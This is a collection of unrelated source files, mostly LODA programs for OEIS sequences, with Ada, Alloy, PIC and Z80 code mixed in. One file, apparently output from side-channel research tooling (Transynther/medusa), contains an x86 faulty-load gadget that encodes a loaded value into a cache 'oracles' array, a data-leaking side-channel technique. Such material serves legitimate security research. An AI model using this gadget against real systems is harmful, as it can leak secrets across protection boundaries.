<gh_stars>10-100 ; A047482: Numbers that are congruent to {1, 2, 5, 7} mod 8. ; 1,2,5,7,9,10,13,15,17,18,21,23,25,26,29,31,33,34,37,39,41,42,45,47,49,50,53,55,57,58,61,63,65,66,69,71,73,74,77,79,81,82,85,87,89,90,93,95,97,98,101,103,105,106,109,111,113,114,117,119,121,122,125,127,129,130,133,135,137,138,141,143,145,146,149,151,153,154,157,159,161,162,165,167,169,170,173,175,177,178,181,183,185,186,189,191,193,194,197,199 mov $1,$0 mul $0,8 add $1,11 mod $1,4 add $0,$1 sub $0,1 div $0,4 add $0,1
SampleTests/CrashingTests/CrashReallyHard32.asm
ncook-hxgn/TestAdapterForGoogleTest
149
23716
.model flat .code _CrashReallyHard PROC mov ESP, 0 ret _CrashReallyHard ENDP END
alloy4fun_models/trainstlt/models/4/9499kQBpe9eJ8govP.als
Kaixi26/org.alloytools.alloy
0
1300
open main pred id9499kQBpe9eJ8govP_prop5 { always (all t:Train |t.pos in Entry implies (t.pos'in (t.pos.^prox) ) or t.pos.prox in Exit implies no t.pos') } pred __repair { id9499kQBpe9eJ8govP_prop5 } check __repair { id9499kQBpe9eJ8govP_prop5 <=> prop5o }
programs/oeis/094/A094623.asm
jmorken/loda
1
244440
; A094623: Expansion of x*(1+10*x)/((1-x)*(1-10*x^2)). ; 0,1,11,21,121,221,1221,2221,12221,22221,122221,222221,1222221,2222221,12222221,22222221,122222221,222222221,1222222221,2222222221,12222222221,22222222221,122222222221,222222222221,1222222222221 mov $16,$0 mov $18,$0 lpb $18 clr $0,16 mov $0,$16 sub $18,1 sub $0,$18 mov $13,$0 mov $15,$0 lpb $15 mov $0,$13 sub $15,1 sub $0,$15 mov $9,$0 mov $11,2 lpb $11 clr $0,9 mov $0,$9 sub $11,1 add $0,$11 sub $0,1 mov $2,$0 lpb $2 mov $1,10 div $2,2 pow $1,$2 pow $2,$4 sub $2,1 lpe mul $1,4 mov $12,$11 lpb $12 mov $10,$1 sub $12,1 lpe lpe lpb $9 mov $9,0 sub $10,$1 lpe mov $1,$10 div $1,4 add $14,$1 lpe add $17,$14 lpe mov $1,$17
source/web/spikedog/core/matreshka-servlet_containers.ads
svn2github/matreshka
24
28834
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Web Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014-2018, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ private with Ada.Containers.Hashed_Maps; private with Ada.Containers.Vectors; private with League.Strings.Hash; private with Servlet.Context_Listeners; with Servlet.Contexts; private with Servlet.Event_Listeners; private with Servlet.Servlets; private with Servlet.Servlet_Registrations; with Spikedog.Servlet_Contexts; private with Spikedog.HTTP_Session_Managers; with Matreshka.Servlet_Dispatchers; with Matreshka.Servlet_HTTP_Requests; with Matreshka.Servlet_HTTP_Responses; with Matreshka.Servlet_Registrations; with Matreshka.Servlet_Servers; private with Matreshka.Spikedog_Deployment_Descriptors; package Matreshka.Servlet_Containers is type Servlet_Container is new Matreshka.Servlet_Dispatchers.Context_Dispatcher and Spikedog.Servlet_Contexts.Spikedog_Servlet_Context and Servlet.Contexts.Servlet_Context with private; type Servlet_Container_Access is access all Servlet_Container'Class; procedure Initialize (Self : not null access Servlet_Container'Class; Server : not null Matreshka.Servlet_Servers.Server_Access; Success : out Boolean); -- Initializes servlet container. Specified server object must be -- initialized. Sets Success to False on error during application -- loading/startup. procedure Finalize (Self : not null access Servlet_Container'Class); -- Finalizes servlet container. procedure Dispatch (Self : not null access Servlet_Container'Class; Request : not null Matreshka.Servlet_HTTP_Requests.HTTP_Servlet_Request_Access; Response : not null Matreshka.Servlet_HTTP_Responses.HTTP_Servlet_Response_Access); -- Dispatch request to filters/servlet. private type Container_States is (Uninitialized, Initialization, Initialized); package Servlet_Context_Listener_Vectors is new Ada.Containers.Vectors (Positive, Servlet.Context_Listeners.Servlet_Context_Listener_Access, Servlet.Context_Listeners."="); package Servlet_Registration_Maps is new Ada.Containers.Hashed_Maps (League.Strings.Universal_String, Matreshka.Servlet_Registrations.Servlet_Registration_Access, League.Strings.Hash, League.Strings."=", Matreshka.Servlet_Registrations."="); type Servlet_Container is new Matreshka.Servlet_Dispatchers.Context_Dispatcher and Spikedog.Servlet_Contexts.Spikedog_Servlet_Context and Servlet.Contexts.Servlet_Context with record Descriptor : Matreshka.Spikedog_Deployment_Descriptors.Deployment_Descriptor_Access; State : Container_States := Uninitialized; Context_Listeners : Servlet_Context_Listener_Vectors.Vector; Servlets : Servlet_Registration_Maps.Map; Session_Manager : Spikedog.HTTP_Session_Managers.HTTP_Session_Manager_Access; end record; overriding procedure Add_Listener (Self : not null access Servlet_Container; Listener : not null Servlet.Event_Listeners.Event_Listener_Access); overriding function Add_Servlet (Self : not null access Servlet_Container; Name : League.Strings.Universal_String; Instance : not null access Servlet.Servlets.Servlet'Class) return access Servlet.Servlet_Registrations.Servlet_Registration'Class; overriding function Get_MIME_Type (Self : Servlet_Container; Path : League.Strings.Universal_String) return League.Strings.Universal_String; -- Returns the MIME type of the specified file, or null if the MIME type is -- not known. The MIME type is determined by the configuration of the -- servlet container, and may be specified in a web application deployment -- descriptor. Common MIME types include text/html and image/gif. overriding function Get_Real_Path (Self : Servlet_Container; Path : League.Strings.Universal_String) return League.Strings.Universal_String; -- Gets the real path corresponding to the given virtual path. overriding function Get_Servlet_Registration (Self : not null access Servlet_Container; Servlet_Name : League.Strings.Universal_String) return access Servlet.Servlet_Registrations.Servlet_Registration'Class; overriding procedure Set_Session_Manager (Self : in out Servlet_Container; Manager : not null Spikedog.HTTP_Session_Managers.HTTP_Session_Manager_Access); end Matreshka.Servlet_Containers;
oeis/075/A075116.asm
neoneye/loda-programs
11
23321
<filename>oeis/075/A075116.asm ; A075116: Binomial transform of A073817: a(n)=Sum(Binomial(n,k)*A073817(k),(k=0,..,n)). ; Submitted by <NAME> ; 4,5,9,23,69,210,627,1846,5405,15809,46254,135382,396327,1160294,3396892,9944688,29113741,85232259,249522603,730492701,2138562494,6260774221,18328804756,53658712275,157089206159,459888386910 lpb $0 sub $0,1 add $2,1 add $3,1 add $4,$1 add $1,$3 add $4,6 add $4,$2 add $2,1 mov $5,$3 add $5,$2 sub $2,2 add $2,$4 mov $3,$5 lpe mov $0,$1 add $0,4
programs/oeis/092/A092278.asm
neoneye/loda
22
100592
; A092278: Floor( (3*n+4)/16 ). ; 0,0,0,0,1,1,1,1,1,1,2,2,2,2,2,3,3,3,3,3,4,4,4,4,4,4,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7,7,8,8,8,8,8,9,9,9,9,9,10,10,10,10,10,10,11,11,11,11,11,12,12,12,12,12,13,13,13,13,13,13,14,14,14,14,14,15,15,15,15,15,16,16,16,16 mul $0,3 mov $1,4 add $1,$0 div $1,16 mov $0,$1
data/pokemon/base_stats/mantine.asm
Karkino/KarkCrystal16
0
8924
db 0 ; species ID placeholder db 85, 40, 70, 70, 80, 140 ; hp atk def spd sat sdf db WATER, FLYING ; type db 25 ; catch rate db 168 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 25 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/mantine/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_SLOW ; growth rate dn EGG_WATER_1, EGG_WATER_1 ; egg groups ; tm/hm learnset tmhm HEADBUTT, CURSE, TOXIC, DARK_PULSE, SNORE, BLIZZARD, ICY_WIND, PROTECT, RAIN_DANCE, IRON_HEAD, THUNDER, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SWIFT, PURSUIT, REST, ATTRACT, STEEL_WING, FLY, SURF, WHIRLPOOL, WATERFALL, ICE_BEAM ; end
oeis/052/A052691.asm
neoneye/loda-programs
11
85912
<reponame>neoneye/loda-programs ; A052691: E.g.f. (1-x)/(1-2x+x^2-x^3). ; Submitted by <NAME> ; 1,1,2,12,96,840,8640,105840,1491840,23587200,413683200,7983360000,168129561600,3835844812800,94239732787200,2480658276096000,69651967537152000,2077925954936832000,65637135231123456000 mov $2,$0 mul $0,2 seq $0,182097 ; Expansion of 1/(1-x^2-x^3). lpb $2 mul $0,$2 sub $2,1 lpe
tests/altium_crap/Soft Designs/Legacy/NB1/EX25/Simple Network Protocol Embedded/simplenetworkapplication.asm
hanun2999/Altium-Schematic-Parser
1
25314
<reponame>hanun2999/Altium-Schematic-Parser .INCLUDE "GeneralDefines.asm" .INCLUDE "UtilsInclude.asm" .INCLUDE "NetworkInclude.asm" .INCLUDE "PageSelectInclude.asm" ;............................................................................... NV01_LEDS_PORT .equ PORTD ; output NV02_SENSOR_PORT .equ PORTD ; input NODE_ID_PORT .equ PORTE LEDS_NVA .equ 0x01 SENSOR_NVA .equ 0x02 ;............................................................................... ;............................................................................... .section data_SimpleNetworkApplication, data Temp .dsb 1 ; Temporary variable TransmitTarget .dsb 1 NetworkVariable1 .dsb 1 ; The Network Variable at address 0x01 .INCLUDE "NetworkBuffers.inc" ;............................................................................... .section bit_SimpleNetworkApplication, bit GetSetMode .dsbit 1 ; 0 = Get Mode, 1 = Set Mode ;............................................................................... .section Entry, Code, at(0) __start: ; Entrypoint of hardware GJMP Main ;............................................................................... ;............................................................................... ; Jump Table ; CALL instruction only allows 8 bit address so use a jump table ; CALL the Jump table which does a GOTO the address ;............................................................................... ProcessKeypress: GOTO DoProcessKeypress SetNetworkVariableCallback: GJMP DoSetNetworkVariableCallback .global SetNetworkVariableCallback GetNetworkVariableCallback: GJMP DoGetNetworkVariableCallback .global GetNetworkVariableCallback NetworkVariableValueCallback: GJMP DoNetworkVariableValueCallback .global NetworkVariableValueCallback ;............................................................................... ;............................................................................... ; String Lookup tables: ;............................................................................... NodeIDMessage: ADDWF PCL,f RETLW 'Node ID: ',0 SetTargetMessage: ADDWF PCL,f RETLW 'SET target: ',0 GetTargetMessage: ADDWF PCL,f RETLW 'GET target: ',0 GetMessage: ADDWF PCL,f RETLW 'Received: ',0 GetAttemptMessage: ADDWF PCL,f RETLW 'Getting...',0 ;............................................................................... ;............................................................................... Init: PAGE_0 ; default page for most variables BSF GetSetMode ; default to Set mode MOVLW 0x00 MOVWF NetworkVariable1 GCALL KeypadInit GCALL LCDInit ; Initialise LCD screen MOVLW 0x00 MOVWF TransmitTarget ; read in NodeId from dipswitches and MOVLW 0x1F ; mask for turning off top 3 bits ANDWF NODE_ID_PORT, W MOVWF NodeID BSF FirstLine DisplayLCDMessageWithHexDigit NodeIDMessage, NodeID GCALL NetworkInit ; Initialise CAN device + network parameters Return ;............................................................................... ;............................................................................... Main: CALL Init MainLoop: GCALL Delay1s GCALL ReceiveData GCALL KeyScan JumpIfEqual LastKeyPress, Key_INVALID, MAIN_CONTINUE CALL ProcessKeypress MAIN_CONTINUE: GOTO MainLoop ;............................................................................... ;............................................................................... DoProcessKeypress: JumpIfEqual LastKeyPress, Key_INVALID, PK_RETURN ; no keypress = nothing to process JumpIfBelow LastKeyPress, Key_A, PROCESS_NUMBER ; the letter A is a toggle between Setting a value on the target and ; Getting a value from it JumpIfEqual LastKeyPress, Key_A, TOGGLE_SET_MODE ; a non-numeric key was pressed, so we send that value to the previously entered address ; if in 'Send' mode, or simply send a 'Get Value' message to the node. MOVF TransmitTarget, W MOVWF TargetNodeID BTFSS GetSetMode GOTO GET_NETWORK_VARIABLE ; SET_NETWORK_VARIABLE MOVF LastKeyPress, W MOVWF NetworkVariableValue MOVLW LEDS_NVA MOVWF NetworkVariableAddress GCALL SetNetworkRegister GOTO PK_RETURN GET_NETWORK_VARIABLE: MOVLW SENSOR_NVA MOVWF NetworkVariableAddress BCF FirstLine DisplayLCDMessage GetAttemptMessage GCALL GetNetworkRegister GOTO PK_RETURN TOGGLE_SET_MODE: BTFSS GetSetMode GOTO CLEAR_MODE BCF GetSetMode GOTO DISPLAY_TX_MODE_MESSAGE CLEAR_MODE: BSF GetSetMode GOTO DISPLAY_TX_MODE_MESSAGE PROCESS_NUMBER: ; a number was pressed - record the address as the target of the next keypress MOVF LastKeyPress, W ANDLW 0x1F ; make sure we are only keeping the bottom 5 bits for the address MOVWF TransmitTarget DISPLAY_TX_MODE_MESSAGE: BSF FirstLine BTFSS GetSetMode GOTO SHOW_GET_MESSAGE DisplayLCDMessageWithHexDigit SetTargetMessage, TransmitTarget GOTO PK_RETURN SHOW_GET_MESSAGE: DisplayLCDMessageWithHexDigit GetTargetMessage, TransmitTarget GOTO PK_RETURN PK_RETURN: MOVLW Key_INVALID MOVWF LastKeyPress Return ;............................................................................... ;............................................................................... ; Since this module is larger than 1 page, we need to push some of the code to ; be after the end of "SimpleNetworkProtocol.asm" to avoid conflicts. ;............................................................................... .section Entry, Code, at(0x700) ;............................................................................... ; SetNetworkVariableCallback: Called whenever a 'Set Network Variable' ; message is received. ;............................................................................... DoSetNetworkVariableCallback: JumpIfNotEqual NetworkVariableAddress, LEDS_NVA, SNVC_RETURN MOVF NetworkVariableValue, W MOVWF NV01_LEDS_PORT GOTO SNVC_RETURN SNVC_RETURN: Return ;............................................................................... ;............................................................................... ; GetNetworkVariableCallback: Called whenever a 'Get Network Variable' ; message is received. ;............................................................................... DoGetNetworkVariableCallback: JumpIfNotEqual NetworkVariableAddress, SENSOR_NVA, SNVC_RETURN MOVF NV02_SENSOR_PORT, W MOVWF NetworkVariableValue GOTO GNVC_RETURN GNVC_RETURN: Return ;............................................................................... ;............................................................................... ; GetNetworkVariableCallback: Called whenever a 'Get Network Variable' ; message is received. ;............................................................................... DoNetworkVariableValueCallback: JumpIfNotEqual NetworkVariableAddress, SENSOR_NVA, SNVC_RETURN ; display the next value for the given NetworkVariable BCF FirstLine DisplayLCDMessageWithHexDigit GetMessage, NetworkVariableValue GOTO NVVC_RETURN NVVC_RETURN: Return ;............................................................................... END
libsrc/graphics/w_drawb.asm
Toysoft/z88dk
8
14910
; ; Drawbox ; ; Generic high resolution version ; ; ; $Id: w_drawb.asm,v 1.2 2016-10-18 06:52:34 stefano Exp $ ; INCLUDE "graphics/grafix.inc" SECTION code_clib PUBLIC drawb PUBLIC _drawb EXTERN w_plotpixel EXTERN w_line_r EXTERN swapgfxbk EXTERN swapgfxbk1 EXTERN __graphics_end .drawb ._drawb push ix ld ix,4 add ix,sp ld l,(ix+6) ld h,(ix+7) ld e,(ix+4) ld d,(ix+5) push hl push de push ix call swapgfxbk call w_plotpixel call swapgfxbk1 pop ix ld e,(ix+0) ld d,(ix+1) ld hl,0 push ix call swapgfxbk ld ix,w_plotpixel call w_line_r call swapgfxbk1 pop ix ld l,(ix+2) ld h,(ix+3) ld de,0 push ix call swapgfxbk ld ix,w_plotpixel call w_line_r call swapgfxbk1 pop ix pop de pop hl push ix call swapgfxbk call w_plotpixel call swapgfxbk1 pop ix ld l,(ix+2) ld h,(ix+3) ld de,0 push ix call swapgfxbk ld ix,w_plotpixel call w_line_r call swapgfxbk1 pop ix ld e,(ix+0) ld d,(ix+1) ld hl,0 push ix call swapgfxbk ld ix,w_plotpixel call w_line_r jp __graphics_end
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_24_1033.asm
ljhsiun2/medusa
9
95635
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0xdf28, %rdi cmp %rsi, %rsi mov $0x6162636465666768, %r11 movq %r11, (%rdi) nop nop xor $34185, %r11 lea addresses_normal_ht+0x122c0, %r9 nop nop cmp %rax, %rax movw $0x6162, (%r9) nop nop nop nop and %rax, %rax lea addresses_D_ht+0xa848, %rsi lea addresses_UC_ht+0x44a8, %rdi dec %rdx mov $48, %rcx rep movsb nop nop nop and %rdi, %rdi lea addresses_D_ht+0x6bc8, %r9 nop nop and %rax, %rax mov $0x6162636465666768, %rcx movq %rcx, (%r9) nop nop cmp $3374, %rcx lea addresses_normal_ht+0x35c4, %rax sub %r11, %r11 mov $0x6162636465666768, %r10 movq %r10, %xmm4 movups %xmm4, (%rax) nop and %rdx, %rdx lea addresses_WC_ht+0x2fe8, %rdi nop nop nop sub $63886, %rdx movw $0x6162, (%rdi) nop nop nop cmp %rsi, %rsi lea addresses_A_ht+0x1c42e, %rsi lea addresses_WC_ht+0x9fc8, %rdi nop nop nop nop nop sub $55119, %r10 mov $49, %rcx rep movsb nop nop add $19969, %r11 lea addresses_WT_ht+0x1e1c8, %rsi lea addresses_normal_ht+0x157c8, %rdi clflush (%rdi) nop nop and %rax, %rax mov $15, %rcx rep movsq nop nop nop nop nop inc %rdx lea addresses_normal_ht+0x18084, %r10 nop nop nop nop nop inc %rsi mov (%r10), %ax nop nop nop add %r11, %r11 lea addresses_normal_ht+0x1e698, %r10 nop and $47127, %rdx mov $0x6162636465666768, %r11 movq %r11, %xmm5 and $0xffffffffffffffc0, %r10 vmovntdq %ymm5, (%r10) nop inc %r10 lea addresses_D_ht+0xe630, %rsi lea addresses_A_ht+0x161c8, %rdi clflush (%rdi) nop cmp $61597, %r9 mov $53, %rcx rep movsq nop nop nop and $44677, %rdx lea addresses_normal_ht+0x90c8, %rax nop nop nop nop and $8184, %rdi mov (%rax), %esi cmp %r9, %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r8 push %rax push %rbx push %rcx push %rdi push %rdx // Faulty Load lea addresses_PSE+0x39c8, %rdi nop nop nop nop nop add $63682, %rax mov (%rdi), %edx lea oracles, %rcx and $0xff, %rdx shlq $12, %rdx mov (%rcx,%rdx,1), %rdx pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r8 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}} {'33': 24} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
picdiv/pd15.asm
thinkfat/TICC
25
240462
; ------------------------------------------------------------------------ ; ; Title: ; ; PD15 -- PIC 10 MHz to three frequencies divider (1-1k-10k Hz), with sync ; ; Function: ; ; This PIC program implements a digital frequency divider: cpu hardware ; and isochronous software divide the input clock by 7 powers of ten. ; This allows generation of decade outputs from 10 kHz to 1 Hz (1PPS). ; ; - In this version a 10 MHz input clock is divided to create three ; simultaneous square wave outputs: 1 Hz, 1 kHz, 10 kHz. ; ; - Two inputs support optional manual 1PPS synchronization. Pull Arm ; pin low for a second to stop divider. All outputs will synchronize ; to next rising edge of Sync pin (within one instruction cycle). ; ; Diagram: ; ---__--- ; 5V (Vdd) +++++|1 8|===== Ground (Vss) ; 10 MHz clock in ---->|2 pD 7|----> 10 kHz out ; 1 Hz out <----|3 15 6|----> 1 kHz out ; Arm o--->|4 5|<+--- Sync ; -------- ; Notes: ; ; o External pull-up required on Arm input (pin4/GP3). ; + Sync input (pin5/GP2) has internal WPU. ; Output frequency accuracy is the same as clock input accuracy. ; Output drive current is 25 mA maximum per pin. ; Coded for Microchip 12F675 but any '609 '615 '629 '635 '675 '683 works. ; ; Version: ; ; 29-Jan-2013 <NAME> (tvb) www.LeapSecond.com/pic ; ; ------------------------------------------------------------------------ ; Microchip MPLAB IDE assembler code (mpasm). list p=pic12f675 include p12f675.inc __config _EC_OSC & _MCLRE_OFF & _WDT_OFF ; Register definitions. cblock 0x20 ; define register base gpcopy ; shadow of output pins dig4, dig3, dig2, dig1, dig0 endc ; Define entry points. org 0 ; power-on entry goto init ; org 4 ; interrupt entry goto sync ; ; One-time PIC 12F675 initialization. init: bcf STATUS,RP0 ; bank 0 movlw 0x07 ; turn comparator off movwf CMCON ; clrf GPIO ; set output latches low bsf STATUS,RP0 ; bank 1 errorlevel -302 clrf ANSEL ; all digital (no analog) pins movlw ~(1<<GP4 | 1<<GP1 | 1<<GP0) movwf TRISIO ; set pin directions (0=output) movlw 1<<GP2 movwf WPU ; enable weak pullup (1=enable) movlw 1<<INTEDG ; WPU, GP2/INT rising edge trigger movwf OPTION_REG ; errorlevel +302 bcf STATUS,RP0 ; bank 0 call clear ; initialize counter and pins ; To create multiple frequency outputs the PIC increments a virtual ; '7490-style decade counter chain in a continuous isochronous loop. ; Clocking the counter at twice the output rate allows each LSB to ; generate a square wave at the desired decade frequency. ; ; A 50 us (20 kHz) toggle loop can generate a 10 kHz square wave. ; With a 10 MHz clock (400 ns Tcy) 125 instructions is 50 us. loop: movf gpcopy,W ; gpcopy -> W movwf GPIO ; W -> GPIO call Delay5 ; (sync alignment) sync: call armed ; check for Arm request ; Update counter and map each output pin to decade LSB. call count ; increment counter clrf gpcopy ; btfss dig0,0 ; 10 kHz decade LSB bsf gpcopy,GP0 ; btfss dig1,0 ; 1 kHz decade LSB bsf gpcopy,GP1 ; btfss dig4,0 ; 1 Hz decade LSB bsf gpcopy,GP4 ; ; Pad loop for exactly 125 instructions (use MPLAB SIM). movlw d'67' ; call DelayW1 ; delay (15 <= W <= 255) goto loop ; ; Initialize counter (zero) and output pins (high). clear: clrf dig0 clrf dig1 clrf dig2 clrf dig3 clrf dig4 movlw 1<<GP4 | 1<<GP1 | 1<<GP0 movwf gpcopy return ; Increment 5-digit decimal counter (isochronous code). count: incf dig0,F ; always increment LSDigit movlw d'10' ; subwf dig0,W ; check overflow skpnz ; clrf dig0 ; reset to zero skpnz ; incf dig1,F ; apply previous carry movlw d'10' ; subwf dig1,W ; check overflow skpnz ; clrf dig1 ; reset to zero skpnz ; incf dig2,F ; apply previous carry movlw d'10' ; subwf dig2,W ; check overflow skpnz ; clrf dig2 ; reset to zero skpnz ; incf dig3,F ; apply previous carry movlw d'10' ; subwf dig3,W ; check overflow skpnz ; clrf dig3 ; reset to zero skpnz ; incf dig4,F ; apply previous carry movlw d'10' ; subwf dig4,W ; check overflow skpnz ; clrf dig4 ; reset to zero return ; Implement two-pin 1PPS Arm-Sync synchronization protocol. ; - Accept Arm (low) request when output(s) are high. ; - Use GP2/INT interrupt to keep accuracy within 1 Tcy. ; - Divider resets and resumes on rising edge of Sync pin. ; - Re-enter main loop late to compensate for interrupt/code latency. armed: movf GPIO,W ; GPIO -> W andlw (1<<GP4 | 1<<GP3 | 1<<GP1 | 1<<GP0) xorlw (1<<GP4 | 1<<GP1 | 1<<GP0) skpz ; Arm low, output(s) high? return ; no, continue running call clear ; initialize counter and pins movlw 1<<GIE|1<<INTE ; enable GP2 edge-trigger interrupt movwf INTCON ; (and clear interrupt flags) goto $ ; no deposit, no return, no retfie include delayw.asm ; precise delay functions end
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/nested_proc1.adb
best08618/asylo
7
29802
-- { dg-do run } -- Test that a static link is correctly passed to a subprogram which is -- indirectly called through an aggregate. procedure Nested_Proc1 is I : Integer := 0; procedure P1 (X : Integer) is begin I := X; end; type Func_Ptr is access procedure (X : Integer); type Arr is array (1..64) of Integer; type Rec is record F : Func_Ptr; A : Arr; end record; procedure P2 (R : Rec) is begin R.F (1); end; begin P2 ((F => P1'Access, A => (others => 0))); if I /= 1 then raise Program_Error; end if; end;
oeis/142/A142422.asm
neoneye/loda-programs
11
29357
<filename>oeis/142/A142422.asm ; A142422: Primes congruent to 10 mod 49. ; Submitted by <NAME> ; 59,157,353,647,941,1039,1627,1823,2411,2803,2999,3391,3881,4273,4567,4861,5351,5449,5743,5939,6037,7213,7507,7703,8291,8389,9173,9467,9859,10937,11329,12113,12211,12799,13093,13681,13877,14563,14759,15053,15641,15739,16033,16229,17209,18287,18679,18973,19267,19463,20051,20149,20443,20639,21031,21227,21521,22109,22501,22697,23677,23873,23971,25147,25343,25931,26029,26813,27107,27793,28087,28283,28871,29753,29851,30047,30341,31223,31321,31517,32203,32497,32693,32987,33967,34261,34457,34849,35339 mov $1,29 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 add $1,13 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,36 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,97
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/opt42.adb
best08618/asylo
7
15430
-- { dg-do compile } -- { dg-options "-cargs --param max-completely-peeled-insns=200 -margs -O3" } package body Opt42 is function "*" (Left, Right : in Array_Type) return Array_Type is Temp : Float; Result : Array_Type; begin for I in Index_Type loop for J in Index_Type loop Temp := 0.0; for K in Index_Type loop Temp := Temp + Left (I) (K) * Right (K) (J); end loop; Result (I) (J) := Temp; end loop; end loop; return Result; end "*"; end Opt42;
oeis/140/A140540.asm
neoneye/loda-programs
11
4729
; A140540: Primes of form 17*n - 3. ; Submitted by <NAME> ; 31,167,269,337,439,541,643,677,881,983,1051,1153,1187,1289,1459,1493,1663,1697,1867,1901,2003,2207,2309,2377,2411,2683,2819,2887,3023,3329,3499,3533,3907,4111,4349,4451,4519,4621,4723,5233,5437,5471,5573,5641,5743,5879,5981,6151,6287,6389,6491,6661,6763,6899,6967,7001,7069,7103,7307,7477,7681,7817,7919,8089,8123,8191,8293,8429,8599,8803,8837,9007,9041,9109,9551,9619,9721,9857,10061,10163,10333,10639,10979,11047,11149,11251,11353,11489,11863,11897,12101,12203,12373,12577,12611,12713,12781,12917 mov $1,30 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,34 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 sub $0,33
programs/oeis/097/A097070.asm
karttu/loda
1
243112
